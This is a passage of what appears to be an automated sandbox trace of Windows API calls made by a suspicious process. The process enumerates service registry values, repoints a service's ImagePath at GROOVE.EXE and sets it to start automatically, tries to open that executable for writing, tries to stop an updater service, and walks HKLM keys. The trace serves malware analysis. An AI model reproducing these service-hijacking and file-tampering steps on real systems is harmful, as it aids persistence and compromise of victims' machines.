hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.855] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.855] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.855] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.855] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.855] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.855] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.855] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.856] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.856] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.856] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.856] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.856] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.856] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.856] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.856] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.856] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0254.856] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7df7b8*="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0254.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0254.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0254.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.857] LocalFree (hMem=0x7df7b8) returned 0x0 [0254.857] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0254.857] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x2) returned 0x8038a0 [0254.857] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0254.859] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0254.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0254.860] RegCloseKey (hKey=0x148) returned 0x0 [0254.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0254.860] RegCloseKey (hKey=0x150) returned 0x0 [0254.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0254.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0254.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cb74000, ftLastWriteTime.dwHighDateTime=0x1cacbae, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0254.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0254.860] GetLastError () returned 0x20 [0254.860] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0254.861] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0254.861] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0254.861] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x803990 [0254.861] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0254.862] GetLastError () returned 0x425 [0254.862] CloseServiceHandle (hSCObject=0x803990) returned 1 [0254.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0254.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0254.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0254.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0254.862] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.862] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0254.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.862] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.863] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.863] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.863] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.864] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.864] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.864] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.864] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.864] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0254.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.865] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.865] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.865] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.865] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.866] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.866] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, 